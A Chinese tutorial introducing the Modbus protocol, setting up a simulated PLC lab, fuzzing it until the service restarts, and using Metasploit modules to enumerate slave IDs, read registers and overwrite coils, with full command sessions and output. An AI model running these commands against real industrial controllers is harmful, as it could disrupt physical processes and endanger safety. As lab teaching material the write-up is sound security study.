Modbus协议简介及模拟环境搭建

Modbus协议是一种已广泛应用于当今工业控制领域的通用通讯协议,Modbus 是MODICON公司(现为施耐德电气公司的一个品牌)最先倡导的一种软的通讯规约。

通过此协议,控制器相互之间、或控制器经由网络(如以太网)可以和其它设备之间进行通信。Modbus协议使用的是主从通讯技术,即由主设备主动查询和操作从设备。

一般将主控设备方所使用的协议称为Modbus Master,从设备方使用的协议称为Modbus Slave。在我们IT术语里,其实就是server响应请求与client发送请求,正如大家所预料的,Modbus也是一个请求/应答协议。

《Modbus协议简介及模拟环境搭建》

Modbus协议是易受中间人攻击的,在获取到明文的session之后是可以做到读写线圈操作的,而很多PLC设备其实就是通过线圈读写去执行动作,也就是说其实掌握了读写功能我们就控制了PLC设备

0x01 开启Modbus从站主机和从站服务

使用ModbusPal.jar 工具启动模拟服务:

《Modbus协议简介及模拟环境搭建》

手动添加两个从站(ID为2,4)并对其添加保持寄存器和线圈,添加结果如下图:

从站ID为2配置:

《Modbus协议简介及模拟环境搭建》

《Modbus协议简介及模拟环境搭建》

下面添加保持寄存器的数值,随意填写即可:我这里填写的是11、12、13、14、15

《Modbus协议简介及模拟环境搭建》

从站ID为4添加10个线圈,并赋值

《Modbus协议简介及模拟环境搭建》

《Modbus协议简介及模拟环境搭建》

启动服务即可RUN

0x02 Swift fuzzer模糊测试工具导致导致服务异常重启

配置被测试IP和端口:

《Modbus协议简介及模拟环境搭建》

添加用例:

《Modbus协议简介及模拟环境搭建》

点击运行发包即可:

可以看到 模拟器颜色发生变化 灰色到黄色的变化,Console日志中,设备进程关闭启动状态发生变化。

《Modbus协议简介及模拟环境搭建》

0x03 使用metasploit扫描Modbus从站中的ID

上面讲解到,modbus协议是易受中间人攻击的,在获取到明文的session之后是可以做到读写线圈操作的,而很多PLC设备其实就是通过线圈读写去执行动作,也就是说其实掌握了读写功能我们就控制了PLC设备

启动msf,查询一下Modbus相关利用脚本

《Modbus协议简介及模拟环境搭建》

modbus仿真软件的默认端口也是502,所以我们只需要设置rhosts地址以及UNIT_ID_TO ,这个参数是指读取寄存器的个数,上面也提到,最多不能超过256个,我们这里设置成10就可以,读取0-10个

《Modbus协议简介及模拟环境搭建》

可以看到,结果显示识别到了2和4号寄存器(Modbus Slave ID 2和4),我们可以继续读取该寄存器的内容

msf6 > use auxiliary/scanner/scada/modbus_findunitid
msf6 auxiliary(scanner/scada/modbus_findunitid) > set unit_id_to 10
unit_id_to => 10
msf6 auxiliary(scanner/scada/modbus_findunitid) > set rhosts  10.0.3.233
rhosts => 10.0.3.233
msf6 auxiliary(scanner/scada/modbus_findunitid) > run
[*] Running module against 10.0.3.233

[*] 10.0.3.233:502 - Received: incorrect/none data from stationID 1 (probably no                                                                                                                              t in use)
[+] 10.0.3.233:502 - Received: correct MODBUS/TCP from stationID  2
[*] 10.0.3.233:502 - Received: incorrect/none data from stationID 3 (probably not in use)
[+] 10.0.3.233:502 - Received: correct MODBUS/TCP from stationID  4
[*] 10.0.3.233:502 - Received: incorrect/none data from stationID 5 (probably not in use)
[*] 10.0.3.233:502 - Received: incorrect/none data from stationID 6 (probably not in use)
[*] 10.0.3.233:502 - Received: incorrect/none data from stationID 7 (probably not in use)
[*] 10.0.3.233:502 - Received: incorrect/none data from stationID 8 (probably not in use)
[*] 10.0.3.233:502 - Received: incorrect/none data from stationID 9 (probably not in use)
[*] 10.0.3.233:502 - Received: incorrect/none data from stationID 10 (probably not in use)
[*] Auxiliary module execution completed

0x04 访问从站2的寄存器数据

从Slave2 中读取读取5个寄存器的数值

dbusclientiary(scanner/scada/modbus_findunitid) > use auxiliary/scanner/scada/mo
msf6 auxiliary(scanner/scada/modbusclient) > set data_address 0 
#设置读取或修改点位的起始位,实际是从1位开始的
data_address => 0
msf6 auxiliary(scanner/scada/modbusclient) > set number 5 
#设置读取或修改寄存器的长度
number => 5
msf6 auxiliary(scanner/scada/modbusclient) > set unit_number 2 
#设置从站的id,这里为2
msf6 auxiliary(scanner/scada/modbusclient) > set rhosts  10.0.3.233 
#设置目标主机IP
rhosts => 10.0.3.233
msf6 auxiliary(scanner/scada/modbusclient) > run 
#开始攻击
[*] Running module against 10.0.3.233

[*] 10.0.3.233:502 - Sending READ HOLDING REGISTERS...
[+] 10.0.3.233:502 - 5 register values from address 0 :
[+] 10.0.3.233:502 - [11, 12, 13, 14, 15]
[*] Auxiliary module execution completed

《Modbus协议简介及模拟环境搭建》

与前期设置一致数据:

《Modbus协议简介及模拟环境搭建》

0x05 修改从站4线圈值

修改从站4线圈值从站4我只添加了线圈的值,并未添加寄存器,下面就进行修改从站4的线圈值:

《Modbus协议简介及模拟环境搭建》

sf6 auxiliary(scanner/scada/modbusclient) >
msf6 auxiliary(scanner/scada/modbusclient) > set action WRITE_COILS
action => WRITE_COILS
#切换功能为写入线圈
msf6 auxiliary(scanner/scada/modbusclient) > set number 10
number => 10
msf6 auxiliary(scanner/scada/modbusclient) > set unit_number 4
unit_number => 4
msf6 auxiliary(scanner/scada/modbusclient) > set data_address 0
data_address => 0
msf6 auxiliary(scanner/scada/modbusclient) > set data_coils 1111111111
data_coils => 1111111111
msf6 auxiliary(scanner/scada/modbusclient) > run
[*] Running module against 10.0.3.233

[*] 10.0.3.233:502 - Sending WRITE COILS...
[+] 10.0.3.233:502 - Values 1111111111 successfully written from coil address 0
[*] Auxiliary module execution completed

此时查看Modbus-server,可发现数值修改成功

《Modbus协议简介及模拟环境搭建》

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/124902.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

【JavaEE】HTTP协议(什么是HTTP?、HTTP格式、form表单和ajax构造HTTP)

一、什么是HTTP协议? 1.1 HTTP (全称为 “超文本传输协议”) 是一种应用非常广泛的 应用层协议 1.2 理解HTTP协议的工作过程 当我们在浏览器中输入一个 “网址”, 此时浏览器就会给对应的服务器发送一个 HTTP 请求. 对方服务器收到这个请求之后, 经过计算处理, 就…

Python基础入门----Python模块和包:导入模块、创建自己的模块和包

文章目录 Python模块和包:导入模块、创建自己的模块和包导入模块创建自己的模块创建包使用相对导入Python模块和包:导入模块、创建自己的模块和包 Python是一种功能强大的编程语言,它的模块和包系统是其强大功能的基石之一。在Python中,模块是包含Python定义和声明的文件。…

新功能案例分享丨DolphinDB 与你相约上海,报名限时开放!

这一次 D-Day 系列活动来到了上海,DolphinDB 将联合华金证券,以 “ DolphinDB 新功能及私募行业案例分享” 为主题,为大家带来一场精彩的线下主题交流。快点击链接报名本次活动吧~ 活动时间:11月16日下午13:30 活动地点&#xf…

出口美国操作要点汇总│走美国海运拼箱的注意事项│箱讯科技

01服务标准 美国的货物需要细致的服务,货物到港后的服务也是非常重要的。如果在货物到港15天内,如果没有报关行进行(PROCEED),货物就会进入了G.O.仓库,G.O.仓库的收费标准是非常高的。 02代理资格审核 美国航线除了各家船公司&a…

深入理解 Django 模板系统

概要 在任何 Web 开发过程中,渲染和展示数据是不可或缺的一部分。Django 作为一个高效的 Python Web 框架,提供了一个强大且灵活的模板系统。本文将详细介绍 Django 模板系统的核心概念、语法和高级功能。 一、Django 模板系统简介 Django 的模板系统允…

机器视觉人体跌倒检测系统 - opencv python 计算机竞赛

0 前言 🔥 优质竞赛项目系列,今天要分享的是 🚩 机器视觉人体跌倒检测系统 该项目较为新颖,适合作为竞赛课题方向,学长非常推荐! 🥇学长这里给一个题目综合评分(每项满分5分) 难度系数&…

商人宝:网页收银软件有哪些功能

网页收银软件凭借无需安装、无需手工升级以及良好的用户体验等优势迅速发展并替代传统收银软件,今天商人宝为大家分享网页收银软件一般有哪些功能。欢迎大家点赞关注,以及收藏本文章,以便后续多看多了解。 1、快速收银 通过扫码枪快速将商品加…

代码随想录算法训练营第16天|104. 二叉树的最大深度111.二叉树的最小深度222.完全二叉树的节点个数

JAVA代码编写 104. 二叉树的最大深度 给定一个二叉树 root ,返回其最大深度。 二叉树的 最大深度 是指从根节点到最远叶子节点的最长路径上的节点数。 示例 1: 输入:root [3,9,20,null,null,15,7] 输出:3示例 2: …

2023年下半年信息系统项目管理师下午真题及答案解析(第三批)

试题一(6分) 项目有A、B、C、D、E、F 6个活动,各活动的关系如下表: 2023年下半年信息系统项目管理师下午真题答案及解析 试题一(6分)

xshell和linux什么关系,其实很简单

如果你是从事网络安全相关的工作人员,那你一定对很多人xshell和linux这两词很熟悉,那么xshell和linux究竟是什么关系呢?今天就让小编给你详细讲讲。 xshell和linux什么关系 一、xshell和linux什么关系 Xsehll是一款在Windows平台上运行的远…

Python3简易接口自动化测试框架设计与实现

1、开发环境 操作系统:Ubuntu18开发工具:IDEAPyCharm插件Python版本:3.6 2、用到的模块 requests:用于发送请求xlrd:操作Excel,组织测试用例smtplib,email:发送测试报告logging&a…

Hadoop常见问题

报错1 :is group-writable, and the group is not root. Its permissions are 0775, datanode启动时,日志报错 1.“xxxx” is group-writable, and the group is not root. Its permissions are 0775, and it is owned by gid 3245. Please fix this…

Apipost-Helper:IDEA中的类postman工具

今天给大家推荐一款IDEA插件:Apipost-Helper-2.0,写完代码IDEA内一键生成API文档,无需安装、打开任何其他软件;写完代码IDEA内一键调试,无需安装、打开任何其他软件;生成API目录树,双击即可快速…

工业摄像机参数计算

在工业相机选型的时候有点懵,有一些参数都不知道咋计算的。有些概念也没有区分清楚。‘’ 靶面尺寸 CMOS 或者是 CCD 使用几分之几英寸来标注的时候,这个几分之几英寸计算的是什么尺寸? 一开始我以为这个计算的就是靶面的实际对角线的尺寸…

小程序发成绩

在这个数字化快速发展的时代,让学生能够方便快捷地获取自己的成绩已经成为一项基本的需求。那么,如何实现这一目标呢?对于许多老师来说,可能首先想到的是使用各种代码或者Excel来发布成绩查询。今天,我们就来探讨一下这…

《微服务架构设计模式》之三:微服务架构中的进程通信

概述 交互方式 客户端和服务端交互方式可以从两个维度来分: 维度1:一对一和多对多 一对一:每个客户端请求由一个实例来处理。 一对多:每个客户端请求由多个实例来处理。维度2:同步和异步 同步模式:客户端…

maven 上传本地jar包到nexus

maven上传命令 mvn deploy:deploy-file -DgroupIdcom.microsoft.sqlserver -DartifactIdsqljdbc4 -Dversion4.0 -Dpackagingjar -DfileC:\java\top-sdk-java-1.0.1-lib\lib\bcprov-jdk16-1.46.jar -Durlhttp://ip:port/repository/maven-releases/ -DrepositoryIdsnapshot…

Linux系统编程——文件的打开及创建

打开(open) 使用open函数需要包含以下三个头文件&#xff1a; #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> open的函数定义格式 int open(const char *pathname,int flags); int open(const char *pathname,int flags,mode_t mode…

C语言 变量

C 变量 变量其实只不过是程序可操作的存储区的名称。C 中每个变量都有特定的类型&#xff0c;类型决定了变量存储的大小和布局&#xff0c;该范围内的值都可以存储在内存中&#xff0c;运算符可应用于变量上。 变量的名称可以由字母、数字和下划线字符组成。它必须以字母或下…

POI.5.2.4常用操作-数据导入导出常规操作

1、APACHE POI简介 Apache POI 简介是用Java编写的免费开源的跨平台的 Java API&#xff0c;Apache POI提供API给Java程式对Microsoft Office&#xff08;Excel、WORD、PowerPoint、Visio等&#xff09;格式档案读和写的功能。 1.1、其他操作Excel工具 Java Excel是一开放源码…